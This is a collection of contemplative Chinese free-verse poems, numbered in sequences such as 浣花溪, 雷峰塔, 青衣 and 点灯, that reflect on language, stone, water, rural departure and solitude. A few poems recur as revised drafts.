遗忘所起到的作用在于安慰了 时间和岁月之中的人，你是如何的 抵达这里的，你整夜整夜的思考 时间，它有时候惯性般的变成了 你醒来之后的第一要务。请允许 我在遗忘之中犹如一个孩童 并且眼前要有一面清洗反光的镜子 我看到了自己是一个六岁孩童 我提到了时间，镜子里的人儿 将更多的以事物和东西而抹去了。 浣花溪十1670 《浣花溪十》 连续而并不断裂，断裂的 连续的本质，缘何寂静山谷里 发生一般的热爱语言的说出呢。 或者，就是语言的本质了。 而语言的本质看上去也有着 行走与前进困难的情况。 我感到了坦诚如我内心最深处 一般，它，或者它可以替换掉我的 内心深处。那些语言为人所说 生命以言语的形式与语言交融。 我想起，空暇时间在于吃过饭之后。 或者我不想，但夜晚的黑色与宁静 人类也无法在这恍惚如神秘中遁而 像驶离。这只是证明了语言的宽度 与语言，当它的曲折向我袒露 在人存在于世界的这一个问题上面 它如此的精彩，仿佛一开始就回答般的 让内容和体验，耗尽了一个幸福之人。 浣花溪十一1671 《浣花溪十一》 石头的居所， 就是石头一般的居所， 通过它，借此 我能够在看到的不多里面 继续的穿行，而在于被 现代人富裕了的容忍当中 仿佛说出是重复了人们的话语。 我离石头很近， 我离开就是离不开。 我在旷野小声的说， 因自我首先感觉到奇异了。 但在最后的尝试里面我 还是不得不成为了他人， 我无法进入里面， 仅仅只有话语是并不重复本质的。 大自然中含有风， 草木虫鱼随岁月衰老。 石头的居所， 借助语言不朽的美好愿望。 如同又是一个新年了， 秒针一般快与慢的节奏， 房子大理石和现代化保暖， 语言带着金色的太阳光。 一个人住进去， 平衡一个人不住进去。 浣花溪十二1672 《浣花溪十二》 伟大如同后退一步， 我们可以很快到达你要说的。 你要讲小动物，一个兔子。 你看不清它跑进树林之后， 离开你是个什么情形了。 \/ 因逃离开来而使得那成为了 唯一物的。那么关键的是否 可以在讨论之中落花流水， 混入人世？它，甚至称谓和指向 甚至使用和忽略的刻意般转变。 \/ 我也不是那只野兔。 我要逃离，我也不是群山与田野。 你的目光太尖锐，温柔逝去。 语言太尖锐，身影缘何萧瑟。 \/ 如果你内心如一只白兔， 却无法听懂我的如此肤浅呢。 我们目的地之新于当它的陈旧， 在旅途和道路对清晰的消融。 \/ 于是热爱的重新萌发 而你我不知不觉中结伴。 有时候沉默不语， 在我以沉默打水，烧火 测试远方如神秘之底部的时候。 在你睡觉的时候我用睡梦 来杜撰一个兔子的未来。 山林有风，我的身边有你。 浣花溪十三1673 《浣花溪十三》 我也知道了。 知道般活着 直到对于不知道的触碰。 \/ 痛绽放出来 在皮肤上向一朵小花。 但岁月并不能承担所有的 怪罪，我的皮肤也衰老了。 \/ 我是某一个事物， 间接一般的邻居。 我也知道它也不知道我的存在。 作为邻居的这种存在 从碰撞的痛苦 皮肤上绽放出来的血红色小花。 \/ 牵着孩子手的人， 我的冷漠走过的邻居。 一条不能通往青天的柏油马路， 我的邻居只能是人类的这 一残缺般，正在于逐渐形成的情形， 浣花溪十四1674 《浣花溪十四》 对形式的描述是， 窗外的事物，及天空上 景物的漂浮。 也涉及对自我的描述。 \/ 说话之人小心， 他才发现自言自语 最为的危险。 从不确定性但是安全那里出来 离开了对话和倾讨越来越远。 \/ 多年以后，在一条异乡的古街 我又遇见了他，他越来越像一个人影。 浣花溪十五1675 《浣花溪十五》 确有所看， 那么语言就是一面墙。 你走到这里了， 接着发现墙角下有条小路。 \/ 去年，我回到家乡，变得沉默。 重新整理，开垦了荒废的土地。 拔掉上面枯死的竹子和冬青， 然后栽培上了新的。 \/ 再过些日子， 它们就是绿色的d言人了。 不能确定那时候我还在不在， 待在老家只能温饱，谈不上生活。 \/ 我在墙壁前静静的站了一小会， 通过墙壁就能推测到你的到来。 如今碎石子小路，蓝天光秃秃的。 你来的时候，曲径通幽，如同人 消失不见的诗意了。 浣花溪十六1676 《浣花溪十六》 夜晚，我听不见什么声音 无法再将道德束之高阁， 判定开车匆匆驶过的人， 不会注意这些，大地像蒲团 从铺卷逆时针的方向， 又像大地一样。这是我自己 一个人逗留的隐觅，因此 像一种形式而以话语作为了 它的本质。如果我沉默，这 人类力气的最后栖息地，看吧 如何在睡梦以前双眼皮打架 突然之间入睡而恍然无觉。 别的事情也时常以看似无关而 与此相关。那么，我接下来继续的 话语，就是对于它的大致描述。 如果我可以随后而出，一句梦呓般 在此时不由得我来在对自然法则的 感激中，继续以自Y的方式保留颜面。 浣花溪十七1677 《浣花溪十七》 那是一个物 ————回廊与道路之需要， 因为那是言语“假如”的内部了。 \/ 我还没有走动， 暮色将至。 天色昏暗， 那的意思是除开暮色之外的一切物。 \/ 物的一切的意思， 我手边的酒瓶空了。 天色昏昏沉沉， 摇摇晃晃，站立不稳 勉力维持世界的平衡。 我想和你虚度的时光一1678 《我想和你虚度的时光一》 历史像某种事物时便 匆匆的，宽阔于人而结果般的。 如果事情就是这个样子。 带着模糊和粗糙的简洁 \/ 因此，它的实质与形成无关。 而是形成本身在于， 因为它是隶属于我而我， 忧伤情绪于它的不可能最终完成。 \/ 因此，即使我早已经知道了， 而月下，这个在路灯旁边 孤独等待的人儿。知道了 内心接下来会迎来变化和起伏。 \/ 我的日记本，正挂在某个 城市里面的墙壁上。 阁楼的灯火直到深夜， 透过窗口，向下洒落。 我想告诉因此而你的 存在就是一个极其干净而 再无的其他了。因此 在语言之中就如同在于了 我的语言中，那么我不说 你，也就不会离开了。 浣花溪十八1679 《浣花溪十八》 这样来照见“不是”: 雪的形而上不是冷， 不是一片一片大如席。 但我们如果脚步保准是静止 那些踩着梦幻之想而去的念头 是对于此修辞，它的明显的 它是人类的不成文的欲望一般的 共识，当一个隐秘是需要的。 而时间的钟如果敲击着它， 欲火难耐，情人去了别处，妻子 在夫妻恩爱的古旧书籍里面， 逗留的准备。————这就是雪的 形式。这是形式之雪，这是轻易 总会有一天，它们会被语言穿过去。 而再一次的它们成为自己， 内心储存满了轮回衰老的经验。 那“不是”安身立命予人对此 经由存在本身而来生存的需要， 作为一种必要，如同我朝着前方行进， 一株枯萎的植物在冬天只保留形体。 理应该为我所怜悯，但在文字中， 作为一个穷人，我首先需要经过 生存的历史，我听闻雪的形而上学 和冷对于雪花在高处的凝结。 落下来的时候由一位诗人（孙文波） 提到，大体如此，起起伏伏的高高低低 都是世界，世界因此是财富将 贫苦包括在内，弯曲的道路。 我想和你虚度的时光二1680 《我想和你虚度的时光二》 窗台老旧后， 在了人类的嘴唇里面。 不是词语，但词语的 相似性，是那来源 说对于窗户的描述。 \/ 感伤的下午 是否因为下午而在情绪方面 是合适的。我的托词是 我已经从恰如其分那里离开了 做出了让步。 \/ 旅客之窗需要更久的时间 犹如在历史长河里面， 被人灰尘一般践踏。 浣花溪十九1681 浣花溪十八 《浣花溪十八》 这样来照见“不是”: 雪的形而上不是冷， 不是一片一片大如席。 但我们如果脚步保准是静止的， 那些踩着梦幻之想而去的念头， 是对于此修辞，那明显几乎为了 它脱离的时候，因而从需要人那里。 这一人类不成文，欲望一般的 共识，当一个隐秘被迫切的需要。 而时间的钟如果敲击着它，指针缺失。 欲火灼烧肉体，情人去了别处，妻子 在夫妻恩爱难以忍受的的古籍里面。 在真正的雪之后————这就是雪的 形式了。这形式之雪的是，这不是的轻易。 总会有一天，它们会被叫做今天的 语言穿透。而再一次的它们成为自己， 内心储存满了轮回衰老的经验。 那“不是”安身立命予人对此 经由存在本身而来生存的需要， 作为一种必要，如同我朝着前方行进， 一株枯萎的植物在冬天只保留形体。 理应该为我所怜悯，但在文字中， 作为一个穷人，我首先需要经过 生存的历史，我听闻雪的形而上学 和冷对于雪花在高处的凝结。 落下来的时候由一位诗人（孙文波） 提到，大体如此，起起伏伏的高高低低 都是世界，世界因此是财富将 贫苦包括在内，弯曲的道路。 我想和你虚度的时光三1682 《我想和你虚度的时光三》 有一天，可能是晚上。 但从此刻，因为可以被说的 北风这个原因而离开了。 \/ 它因为没有而有， 有很多时候它被受困于 ———面纱。薄薄的， 它的一双眼睛，黑亮黑亮的 透过一层纱看城市的灯火， 看你呢它。 \/ 它因为没有而有， 比如我去采一朵生长在深处的花朵。 语言是真的， 超过了誓言，情意 但并不是那些伟大而隐秘的时刻。 雷峰塔1——1683 《雷峰塔1》 因为外界，我无法拿捏而来， 心情往往确定化呈现中，那 对于心情恍惚和担忧的这种表示。 \/ 在极其类似中， 我与它隔着的距离 如此近，小于一个说出。 这是别人，是你和他。 团聚在一起的原因， 也是向着前方行进困难重重所在。 \/ 所以，如果没有了我 需要先从你的身体上面舍弃一些什么 或许是语言，它时常因为自我和非自我 而它的背叛并没有聚焦于“背叛”的这 一情形。而由此而来的世界 仿佛围绕着它的建筑，有蜻蜓般 无形的丝线，围绕着那个圆心盘旋。 \/ 没有我的世界中的你， 盘亘在情绪的无底洞之中。 任何细小的微风都狂风大作般， 任何抵达的某一处，都不如我遥远。 而，雷峰塔1684 《二，雷峰塔》 思的功劳， 代表人类的薄弱。 能否事情就是这个样子， 在停留之中的中途完整。 而其他，是你一一的 交给了我，托付给我的时刻。 在草原的无垠，或者戈壁滩 在故乡的梯田，山脚下灯火亮着。 我应该又是一个追求于整体 而目的地一般的命运 直到我生命结束的那之前的一刻， 作为向着那又一新所做的托付者 作为人，他新生，像我的未曾谋面 像邻居来回的走动，但不知何故， 悄无声息的走向了远处，群山外的 戈壁滩。 三，雷峰塔1685 《三，雷峰塔》 从农村离开， 从乡间的山，离开那里了。 离开，有很多可替代的表达。 ————去到城里， 努力生存。原意保持了， 像人来回走动一样。 \/ 离开之前的荒芜， 充斥着语言与现实的碰撞。 我们是抛弃而来 坠入其中了吗 那些相反努力所做的 那在言语中漂浮的白色泡沫？ \/ 思讨不成而催促离开的自我 离开真实发生的延续悄然又隐秘。 有一天晚上，透过了高楼 楼宇的背面是故乡的梯田 为了克制内心疯长实则为草木的本质， 在将它们和我一一都抑制起来 我学习混凝土与木头的结合， 我看到人类的影子相比楼宇之影 而来，太阳对渺小的暗示。 \/ 拥有其他的部分， 而在语言的形式与内容上面做了区分。 对于我。我需要放下对于它们的理解 犹如山川不可重新抵达， 异乡的山川像面前的楼阁， 停留于不可解，只是那农村的妇女 走向了小推车和滚动的搅拌机。 四，雷峰塔1686 《四，雷峰塔》 我看到那些石头也在祭拜， 祭拜那个由石头雕刻成的观世音。 五，雷峰塔1687 《五，雷峰塔》 寂静中， 那事物克服了寂静 声音往外发出。 受困在很快的就消失不见了 它那本质， 一次次的往外发出， 这扩散的失败， 直到人类语言的堤岸。 书上提到，那些因为干旱 而缺粮少水的人m， 望着石头，石头石头的表面 萦绕着太阳梦幻般的光泽。 青衣一1688 《青衣一》 钻入盆地，是远行行的部分。 对于此所不是而回答才来， 我确实得出什么来了， 身边的空气正空气一般的震动。 \/ 背影一般的过去， 西边沉落的太阳。 太过于随意的事情， 人类被允许在他们的 肆意破坏之中，以允诺般 对无果的找寻之轻易。 \/ 这形同于是与否，在我可以说出的时刻。 诗歌的描述越来越像纸张突然开始燃烧。 \/ 白色的表面火焰燃起来了， 并且作为了我言说的尺规。 青衣二1689 《青衣二》 想象一下大雪， 大雪这还没有发生 形同于被阻止了 那种时候跟这时候的天气晴朗 是同一的。徐霞客爬山时 发现的事物，就是这时间永恒指向 的准确指针。 \/ 我还是想要， 以继续寻找你的方式 来把说话继续。 我以为说只由嘴唇决定，构成。 \/ 所以这就是说了的 全部过去的本质。 同时指向了做的虚伪， 大地不虚伪， 冬天覆盖着厚厚的雪花。 \/ 之前雪花从天上落了下来 嘴唇和大地两个去处， 都一一的覆盖， 在我的嘴唇上融化， 我在雪花里面埋怨着它。 青衣三1690 《青衣三》 水近时候的情景 : 它的名字更近， 在我的嘴里面。 因为什么而横亘， 横亘的大山一般， 是因为与饮用水的不同 而绝对的秩序在于亲密 之间，它那在狭小空间 里面，波动，它那名字 河流寂静的名字， 需要一个远来客的沉默不语。 青衣四1691 《青衣四》 窗台老旧后， 日子又继续前行 暴露了它的横平竖直。 而任何的破坏， 那些飞鸟和园中枝头 都会把它们的横冲直撞带来。 你伸手抹了一把脸， 才发觉自己在突然之间老了。 你不能做的事情， 但云彩的背后， 没有一个给你写信的人儿。 自觉比你更老的夕阳， 涂抹了晚霞的护肤霜。 你摸在自己的脸颊， 同样感到沟壑对滑腻尽力的维护。 而一旦走下，这栋荒废已久的小楼 黑夜将至，像为 一个陌不相识的人让开来， 你所走于人间的道路， 那同一个，包括了你的 感伤。 青衣五1692 《青衣五》 人的外面满是词语， 满是语言我是习惯的。 像空气和水， 只是抽去了一点， 在不同发生的时候， 抽去那不同之处 我就一宿没有睡觉。 我应该是为了这一项工作 而是它自己的递进一般 让我这个农民愈发难堪， 我手忙脚乱，一切 都转变，远离那刚刚靠近了的 日月斗转星移。我在 田间修理水渠呢， 一个人的幸福， 是否可以问答来传递给我。 我是他白天修理水渠的身影， 我推断着他语言的长度， 他的身高在我的身上是一种奇迹， 除此之外的一切，值得感恩 平凡包括了我的生命， 我也在修理水渠呢。 青衣六1693 《青衣六》 钻入盆地的 具体是缺失的 缺失了一角或更大一些。 给予我的这一个事情， 看起来像地面上的任务一样。 低下头，我还看到了别的。 钻入盆地，又离开盆地。 这已经是第二次了， 有一天我也一样， 我跟你，你跟火车都一样。 我们有很多无聊而寂寞的时间， 我们用来在院子后面开垦土地 栽种一棵石榴树。 你已经很久没有回来过， 它已经长大，你们之间 用一种奇妙的关系维系着。 青衣六1694 《青衣六》 男子身穿灰色外衣， 身材不高不低。冬日里面 沿着光滑的石头台阶往上攀爬。 他走每一步都小心翼翼的， 他无法让小心于可能的反转， 当中有他内心的激荡， 城市如同动态的平平安安。 \/ 山顶到了。 山上林木，多是松树， 侧柏，千头柏等。 他在林中喘气， 像人回归到野兽， 短暂的休息之后， 想要数清印象中树木的品类， 偏差的那一些。 \/ 城市正带领着人的遗忘， 他两只隐喻性质的手， 左右口袋里面展开。 冬天的寒冷给出的理由， 结果却成为了他借势而来的另外。 那“一个”所指就是具体， 那会在不久之后的第二天早晨， 他从山脚下出发，再次攀登 世界总是不圆满的，他心想 做一个菩萨，为时间困惑。 青衣七1695 《青衣七》 因语言，起了一场大雾。 那些关系着你生活的人 距离你很远。 你的目光和其他的种种， 都像被一切这个词语包括， \/ 他们的牛栏高过枯草。羊圈破旧， 要花一个上午来清理厚厚的粪便。 相同的春天，你们的嘴巴是不同的 你们还需要一些时日， 来习惯形状的变幻， 冬雪化成了水，你的眼睛 是一条黑色透亮的河道。 你身边的人儿奇怪的观察着世界 并一遍遍抛开自己所顿悟的。 \/ 写字的人有时候还可以在窗边推测到你， 于是你离开的更加的坚决。 促使你远去的人舍不得你， 你就会发现江水无形， 在永都不倒流里面存在。 \/ 古代的托妻献子结果了你， 你自己的妻子使得你牙关紧咬。 远处的人儿隔着一座山 把铲粪的农具不小心折断。 我们的语言实则是无用的， 美丽的世界有很多哀愁， 它等待着你，就像一个仕女 等待着说出的你。 六，雷峰塔1696 《六，雷峰塔》 只有走是珍重的， 在团结和夜晚之间。 \/ 我从这里可以走到那里。 走到那意思对于我的缠绕， 并且最终表白了自身。 \/ 这些话语犹如银色的丝线， 在一个人与人彼此的谦让， 社会的丰满由可以走到那里来 表示。我的静止，不需再掩饰了。 \/ 我听着，如今是听着无物之后 自我复述好来组成美满的对话。 说着同样的事情，沉默早已到场。 \/ 我还想睡去，像星星接入夜空 我接入了现实，我更丰富的体验了 生活的喜乐悲欢，正在我身上起伏的它。 七，雷峰塔1697 《七，雷峰塔》 从这里我可以走到那里， 对于离开正体现着我的绝情。 所以离开是必须的，在他人之前， 这是语言应该的自我检查。 这些不必要的东西体现着的必要性， 就像是我伸出去检查的手， 最重要的是人们不要发现， 而你的目光因此是情爱的显性 如此你在一个地方，一个县城 把视而不见推的如此之远。 我在泥土上与你寻找共同的语言， 攀谈的客套属于历史伟大的创造 我们来自于同一个地方， 我呼吸着你呼吸所空气转化成的文字。 我是你掩埋的部分，裸露的时候 是语言的时候，因此是时候本身的 更深的那一些日子。 八，雷峰塔1698 《八，雷峰塔》 我从这里可以走到那里， 走到那从这可走到那之处。 我的静止，不需要掩饰。 我听着，那些话语。 并向它们推荐一个，变轻 轻浮以所向为上之处。 我知道馈赠远远不够， 但还是将我的话语给了它们。 除开这个时候以外的， 都将不会是对于我的缅怀。 我知道现实的面积大一点， 由扎根，开花，结果扩展。 从那里，接着那里从这里， 我脚下的河流干涸了， 伞是蒲公英的种子，总有 一天，要徐徐降落。 九，雷峰塔1699 《九，雷峰塔》 凿击的事物里洛满了 不明真相的石头， 所以以凿刻石头的回答。 石头在山顶裸露，难以移动 受凉，一切都指向它脱下了 自己的影子。 \/ 呵，庄重性与发生的这一矛盾， 正在以它们调和的形式。 我正如一个日期一般走近那。 一个具体在我心里面滴血， 墙壁上还有它的划痕。 那破旧的日历本始终指着，并且朝向。 \/ 崭新的一天如果悄然，隐秘 它重复于自身而接着沉默， 在人类的嘴唇里面如形式一般的 追问。我在昨夜精疲力尽， 始终打不开一颗巨石。 路上不小心晃动了一棵桂花， 它们随后在我的梦里面纷纷 开花，结果。 九，雷峰塔1700 九，雷峰塔 《九，雷峰塔》 凿击的事物里落满了 不明真相的石头， 所以以凿刻石头的回答。 石头在山顶裸露，难以移动， 受凉。一切都指向它脱下了 自己的影子。 \/ 呵，庄重性与发生的这一矛盾， 正在以它们调和的形式。 我正如一个日期一般走近那。 一个具体在我心里面滴血， 墙壁上还有它的划痕。 那破旧的日历本始终指着，并且朝向。 \/ 崭新的一天如果悄然，隐秘 它重复于自身而接着沉默， 在人类的嘴唇里面如形式一般的 追问。我在昨夜精疲力尽， 始终打不开一颗巨石。 路上不小心晃动了一棵桂花， 它们随后在我的梦里面纷纷 开花，结果。 十，雷峰塔1701 《十，雷峰塔》 那事物克服寂静了， 那么就需要对声音的克服。 \/ 托钵僧一般那因为所指， 如果他所指并不是如水草般的 这些时刻。那声音被抛出， \/ 交予我们。这是我们的分道扬镳。 墙壁上面只有一个时钟，地上 满屋子都是晚餐剩余的果皮残渣。 你将坠入堕落，天气黑暗昏沉， 我是你的影子，被妥善安置的语言 雾气般萦绕着人是没有意义的时刻。 十一，雷峰塔1702 《十一，雷峰塔》 一衣带水是事情， 是对事情的晃动， 这一件事情难以特指， 更多是属性是它具体的发生 夜色朦胧，山峦起伏 使得一切很远，它在远处具体的 发生。————像这里一样的 琐碎。就像这里的一个分母， 从桌子上的空茶杯横亘而出， 伴随着清脆如三月的水滴， 它分子的结构在内心荡漾美感。 我差一点就因为注意力不集中 而忽视它们的分道扬镳。 而恰恰它们因此才凸显了那更深 的意义，那以表面化而使得了 一个人的不敢于谗言。 我也并不怀念过去的事情， 也不投身面前无形江水般的流逝， 那些孤舟使得我听起来有亲近感， 那些匠人正在睡眠和休息， 我像他们一样，盲目横亘其间。 十二，雷峰塔1703 《十二，雷峰塔》 人的手只是我的手， 而我的宽容不仅仅小， 它更体现在那平静，放松。 \/ 这并不是一个声音， 你谈及重复和声音， 内部的打算与企图， 也就是声音的那第一与最开始的。 \/ 而我在你的声音下面说话， 重复下，你这就像星星自我的神秘 并且扩散，一点点向宇宙 :手的拿起与落下都是静止。 \/ 我拿起一杯热水， 忍耐我很久的现实世界， 通过它，不是，通过间接 烫了我一下。 十三，雷峰塔1704 《十三，雷峰塔》 事物就是这个样子的， 与我的手无关。 我的手不会成为组成 它们的，那不是的一部分。 像一个左右为难， 像人空空的包裹里面 装满了总被猜测正确的空气。 他的话语因此如此迟缓， 桥下的水流在进入芦苇丛之前 先从岩石起伏的斜坡地带前进 困难。那些话语不会惊扰，鸟儿 飞翔是另外一件事情， 呵，世界总是能够厌倦一般的 瞬间完成。世界听那些话语， 我为什么在了这句话当中 :“春风从你的裙底流过” 这是一个事物，倾斜，我们 追求立整的，进而是木匠 山林里面砍伐了一棵， 中间的语言在这里反而 脱落了下来。呵，这眼前的河水。 十四，雷峰塔1705 《十四，雷峰塔》 放松，会激荡起水花写诗般。 它们跳跃不定，从后面 跳到了前面，空气因此 兜兜转转，庸俗的想象 里面，我逗留因为想要离开。 还是那些水与诗歌的关系 写的就是那时刻，这时刻。 如果没有文字，人就是孤独的。 人总是喜欢本质化的思索， 墙上贴着红纸，有些掉色。 对传统的某个不满的人， 是它暗淡的原因。 青衣八1706 《青衣八》 壮丽的诗篇 太需要历史的长度了。 所以含义与一块雪今何在， 一滴随河水消失的水何在同等。 \/ 已通过话语人类的通病暴露。 我不是一个人，是 一个群体。因此与那 水滴和河流愈加矛盾， 距离上面越来越远了。 我也无暇顾及眼前的这些 近了，也忽视，花的开放 绿草成荫，并不寻找， 哪怕将自己抛出，没必要了。 如果有下游，以历史的方式 那上游以有而渐渐的没有了 那有与没有相矛盾的一条河， 里面上下跳跃，融入分解的 一滴水，是万万千千滴水。 水的万万千千瞬间所回到的 语言世界，从这里再次的出发 回到那里。被遗忘占领脑壳， 睁眼，闭眼，想听人谈论远处。 你住在雪山脚下，气候寒冷 从内陆城市变卖了家产而来。 很勇敢，明天我就要回到内陆了。 青衣九1707 《青衣九》 再站远一点， 你就站成了自己的灵魂。 \/ ——（2000，5，1） （家乡的土山，土水， 偶尔还要去后山上义务割草， 我曾经从窗外偷偷的寻找你， 一无所获的时候，树上的鸟儿在叫） 青衣十1708 《青衣十》 你说话，你的仅仅是以她。 不愿意，因在语言里而被调来 调去。我也不愿意调来调去于你。 我猜不透你，这水盈盈这表面。 这神秘客体，宇宙这折射花朵的镜。 \/ 春风一起，万物起来震悚。 青色的小山起伏，起伏本身的连绵 不断，原因于随后赶来人儿的语言。 也有那无人而依然以此的时刻， 只是这同一个明月，带来了光亮。 照着，垂下者为光明。哪怕忽视发生， 盲目的它那个兄弟，二者一奶同胞。 \/ 我已经知道未来了。 未来短暂的可由我的离开组成。 而因此真实的发生显得如此困难。 变得如此困难，我曾经贴近了你， 你的脸颊像秋天的月亮， 我随后要离开你的脸颊———— 因为现在我的可对未来准确的言说。 \/ 是否人人都像我一样，我的需要休息的 内心，这始作俑者以消失便是以虚妄。 你在花间舞，有其他的时刻， 有我说话的时刻，其中有对话的时刻 你不一定是分割和理清的人儿， 慈悲有时候占据了你的内心， 你面临一个唯一的胁迫和威胁， 窃窃私语因我而起，我感到存在有意义， 青衣十一1709 《青衣十一》 春风太猛的时候， 对于盲目者有好处的这 一个时候。时候并不同一的 从自己身体上向大地， 伸出来触手， 挑拣现实， 水长长般的，这都是 语言的隐秘。 水花因此被颠倒可以更为的 进一步考察。 那些人类因为说话而陷入， 那是一个地方因此正 雾气一般的失去了原有的姓名。 有突然惊醒者挥动手臂， 有众生相如此简单像鱼缸里面 金鱼被我注视着，它远行至此 我们相望两无言于记忆力衰弱 这个病症，我们都是透明的， 青衣十二1710 《青衣十二》 一颗石头会让变得江水具体， 那么就去把石头放入江水中， 意思是岸上有水，陆地上 水更加亲密于你的嘴唇。 \/ 岸上的人，黑色的头颅 因而平等。他们的个子 有高有低。我的目光 因受到它的限制，而自由 体现在我看着你们的脸 一张张。想要想想其他 却因此的无法想到。 \/ 想到的这始终持续的存在， 自由本身在保持着， 早已如此，还是这同一句， 就需要语言来重复，来描述。 \/ 现实里面只有亲吻你， 最为危险，远和美丽。 红花托起红红的太阳， 然后趁着夜晚忽然坠下。 点灯一1711 《点灯一》 点灯本身 热而不汤烫， 点灯者除非心思纷乱 如鱼儿厌倦江水的永恒。 气泡般的被人推论， 点灯因少而附属于多， 那是，色彩斑斓。是 夜晚本身里面的事物 因此被语言推着，往外 缺少内部是正确的论断， 当我在夜晚眼睛明亮， 有善念的翅膀，以及欲望 这些都是大地在造物， 最开始时的一阵阵那纷乱。 青衣十二1712 《青衣十二》 一颗石头会让江水具体， 它比所有善变者还要大上一些， 那么就借着这种隐隐语言的具体， 去把石头偷偷的放入江水中。 \/ 意思是岸上有水，陆地上 水更加亲密于你的嘴唇。 \/ 岸上的人，黑色的头颅 因而平等。他们的个子 有高有低。我的目光 因受到它的限制，而自由 体现在我看着你们的脸 一张张。想要想想其他 却因此的无法想到。 \/ 想到的这始终持续的存在， 自由本身在保持着， 早已如此，还是这同一句， 就需要语言来重复，来描述。 \/ 现实里面只有亲吻你， 最为危险，远和美丽。 红花托起红红的太阳， 然后趁着夜晚忽然坠下。 点灯二1713 《点灯二》 灯即语言， 虽然这样的时候很短。 \/ 差一点点 就失败一般的接近于美丽了， \/ 它还是那样， 以站立来修饰。 \/ 它回忆起来了， 不多的事情在细小的心口。 \/ 点灯只将近处照亮就好， 那些因此围捕它的语言， 灯佯装做一个无辜而又热心的路人， 与那些语言对话。 点灯三1714 《点灯三》 克服本身， 我使用它，后来遗弃掉了。 作为遗弃之物的那物在 一天之新，甚至这不是 时间于墙壁上面研磨自身， 而诞生出了齿轮。 那些时间琐碎，碎片一般。 它们纷纷脱落如同梅子， 是被人们喜欢的话语。 克服于被糖和甜，进而 暮色一般终于还是要到来的 情爱，注定将你的所有直指。 你就能够从一盆被需要的水， 重新回到世界。而这里 就是一盆水的更深之处。 全部的语言敞开，欢迎着。 墙壁上没有走动的指针， 你的眼睛，向上无异于向下， 于是更加用力的向上， 我们本已经到达的事物， 慢慢的随下午的阳光， 有了轮回，有一颗人类的心脏。 点灯四1715 《点灯四》 把灯点到江水， 就成了渔火。 我只是怕你不怎么坚决， 这些易碎的梦想， 在不能成为你的隐忧那里面 而奇迹却已经推动了 不远处。波浪， 鱼群一般。 \/ 那么，点灯是 下午之后的事情。 撒网时是贫苦的渔民。 灯火常亮是世界颠倒， 所有的准备工作为一个结果 注视着。 点灯五1716 《点灯五》 原来那地方， 不好说。不好表达了， 时间就钟表般缓缓逝。 圆圈型的略带有花哨， 只有被它面对着的人不动。 \/ 你是一个走夜路的人， 在赶往和逃离之间 暂时没有江水般的绵延、踟蹰。 选择的落下，最后 必然要因此归于平淡。 \/ 把漫游记当做了寻宝地图， 精神狂乱于称徐霞客的死忠。 你的手握住了流水， 流水冰凉是相对未来而言的现在。 \/ 今夜你也是因为人， 而跟我告别的人。 短短几句话， 就知道我全部的心思了。 点灯六1717 《点灯六》 房子再寂静一些。 对自我的反驳和痛斥， 它更以超过了对自我的 围拢，内部和里面 就是最初吵闹的问题。 \/ 就是避不开而有门的问题。 为什么，同时在里面也在 外面。世界的转瞬即逝像秘密。 \/ 石头一般的把身子背过去， 然后脸部朝上。 山顶北风呼呼的， 房子也是这样。 人语言般的获得 在获得的语言般表达里面， 人就从不对等出发， 屡次的失败后， 傍晚，疲惫的抬头看一眼山顶 石头，和半山腰的房子。 点灯六1718 点灯六 《点灯六》 房子再寂静一些。 对自我的反驳和痛斥， 它更以超过了对自我的 围拢，内部和里面 就是最初吵闹的问题。 \/ 就是避不开而有门的问题。 为什么——同时在里面也在 外面。秘密就是世界转瞬。 \/ 石头一般的把身子背过去， 然后脸部朝上。 山顶北风呼呼的， 房子也是这样。 人语言般的获得 在获得的语言般表达里面， 人就从不对等出发， 屡次的失败后， 傍晚，疲惫的抬头看一眼山顶 石头，和半山腰的房子。 点灯七1719 《点灯七》 停顿的已经因人而寓意， 的良多。还没有结束的这个， 更像是贪婪的某一种。 像它的节省和俭朴， 美德之光一去不返。 同样的某一个缝隙， 如今被风灌满像马匹， 草原呜咽。像公园里面 事物的鼻孔穿了世界丰富性， 作为了理由的线段。而被考证 着似乎打从因为问题而起 开始的唯其真实。才正式般的 忽视了那些回答。所以， 这回答你也就看到般忽视了 也就忽视般的叫上了我 我们一起兴趣索然的离开了那里。 动物园的牌匾挂在正门的入口上方， 为了防止脱落而用很多铁钉固定 工人师傅们踩着榆木做成的凳子， 正挥动手中的锤子，一下下敲击。 我离的远了，感到放松，跟傍晚一个样。 接着日头会落入西海，大自然让我 分不清古代，现代。很多事我弄混了。 现在还在路上走着，你像一团透明的空气 我一言不发。 点灯八1720 《点灯八》 山坡有石头， 来回的风像冲突的某种撞击。 我心想说语言绷得很紧， 但对于太过于隐秘而 头绪在了山坡那一边的事物， 那寂静长久的保持。 \/ 所以，只需要语言一旋转， 我就急匆匆的下了山。 我在山脚的小庙里面， 走进去，跪拜，菩萨雕像。 \/ 这还没全部的因对发生的 责怪，我拿来的现实不准备成为理由了。 如果放下只是针对这种轻易的行为 就好像它们的身影是不远处， 宁静里面的核桃，松树，槐树和柏树。 \/ 最可怕是那未有一准备是因为寂静 犹如人心会一直往下， 因为坠落这个词语所具有的 相反的含义，菩萨点醒你我， 你正在远方写信。 点灯八1720 点灯八 《点灯八》 山坡有石头， 来回的风像冲突的某种撞击。 我心想说语言绷得很紧， 但对于太过于隐秘而 头绪在了山坡那一边的事物， 那寂静长久的保持。 \/ 所以，只需要语言一旋转， 我就急匆匆的下了山。 我在山脚的小庙里面， 走进去，跪拜，菩萨雕像。 \/ 这还没全部的因对发生的 责怪，我拿来的现实不准备成为理由了。 如果放下只是针对这种轻易的行为 就好像它们身影的比喻，是不远处 宁静里面的核桃，松树，槐树和柏树。 \/ 最可怕是那未有一准备是因为寂静 犹如人心会一直往下， 因为坠落这个词语所具有的 相反的含义，菩萨点醒你我， 你正在远方写信。 点灯九1721 《点灯九》 只有在只有之中随着时间 而沦为了事实。我的倾听 来自于多余。只有悲观的 通过一个个事物，我才能听到了 在彼此关系之中风铃一般声音的 不断响动。为简单的想法而怪罪 于词语，我夺取了我再一次夺取的 事物而加固了我身体上面，需要 它模糊，游移不定的那一部分。 我是的了它的那游移不定，可以 使得我说出的总是关于命运， 我希望，因为毫无关系而征兆着 夜晚的灯火——如今是通过了失败的 时代而是电灯。和它的追忆着过去 而以冷漠的光。它向内的只要一向内部， 便一去不返到，于是我得出的在于了 我的抛弃。于是，那束光，只有它将我 包裹了，却突然包裹的更紧了，刚刚 我想要说的，想要吐露的便吐露了我。 便在话语的无力里面是世界而不是我。 我需要准备的是一个难以想象去告诉 而在告诉的不可能中，人类和我， 